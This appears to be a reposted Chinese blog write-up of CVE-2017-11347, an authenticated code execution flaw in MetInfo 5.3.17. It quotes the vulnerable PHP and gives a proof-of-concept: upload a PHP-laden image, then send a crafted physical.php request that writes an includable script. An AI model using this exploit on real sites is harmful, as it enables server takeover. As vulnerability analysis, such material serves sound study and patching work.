MetInfo 5.3.17代码执行漏洞(通杀后台拿shell)(CVE-2017-11347)

  • 内容
  • 相关

MetInfo 5.3.17 Authenticated Code Execution Vulnerability

漏洞说明:

我们可以使用GPC数据来注册变量 admin/include/common.inc.php:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); $_M['form'][$_key]=daddslashes($_value,0,0,1);
    }
} 

然后我们可以使用已经注册的变量 admin/app/physical/physical.php:

<?php require_once $depth.'../login/login_check.php';
... if($action=="do"){
    ...
}elseif($action=="fingerprint"){
    ...
}elseif...
    ...
} ?> 

我们可以注册$action 变量来控制程序的流程.

当 $action 的值为 op 时 $op 值为3:

case 3: $fileaddr=explode('/',$val[1]); $filedir="../../../".$fileaddr[0]; if(!file_exists($filedir)){ @mkdir ($filedir, 0777); } if($fileaddr[1]=="index.php"){
        Copyindx("../../../".$val[1],$val[2]);
    } else{
        switch($val[2]){ case 1: $address="../about/$fileaddr[1]"; break; case 2: $address="../news/$fileaddr[1]"; break; case 3: $address="../product/$fileaddr[1]"; break; case 4: $address="../download/$fileaddr[1]"; break; case 5: $address="../img/$fileaddr[1]"; break; case 8: $address="../feedback/$fileaddr[1]"; break;
            } $newfile ="../../../$val[1]";              
            Copyfile($address,$newfile);
    } echo $lang_physicalgenok; break; 

正如我们看到的,只要 $val[2] 是空的,我们可以注册 $address 和 $newfile,然后我们去 Copyfile:

function Copyfile($address,$newfile){ $oldcont = "<?php\n# ...require_once '$address';...\n?>"; if(!file_exists($newfile)){ $fp = fopen($newfile,w);
        fputs($fp, $oldcont);
        fclose($fp);
    }
} 

该程序将会将一个文件写入 $newfile的值,该文件的内容是一个php脚本, 它将require_once 的值 $address. 因此,我们可以构造一个请求,让程序需要我们上传的恶意图像文件。

概念验证(PoC)

首先我们以管理员身份登录,上传一个图像,内容是<php phpinfo();>,然后我们可以通过F12查看页面源获取图像的地址。

metinfo.png

然后我们访问 http://host/admin/app/physical/physical.php?action=op&op=3&valphy=test|vuln/1.php&address=the_address_of_the_image生成php脚本,在我们的示例中,PoC的url是 http://127.0.0.1:8081/admin/app/physical/physical.php?action=op&op=3&valphy=test|vuln/1.php&address=../upload/file/1500012989.png最后,我们可以访问http:/host/vuln/1.php执行代码的php。

metinfo01.png




本文由 搬运工 MetInfo 5.3.17代码执行漏洞(通杀后台拿shell)(CVE-2017-11347) 摘抄,如有侵权请邮件告知。

本文标签:

版权声明:若无特殊注明,本文皆为《鬼少》原创,转载请保留文章出处。

本文链接:MetInfo 5.3.17代码执行漏洞(通杀后台拿shell)(CVE-2017-11347) - http://tv1314.com/post-514.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

00:00 / 00:00
顺序播放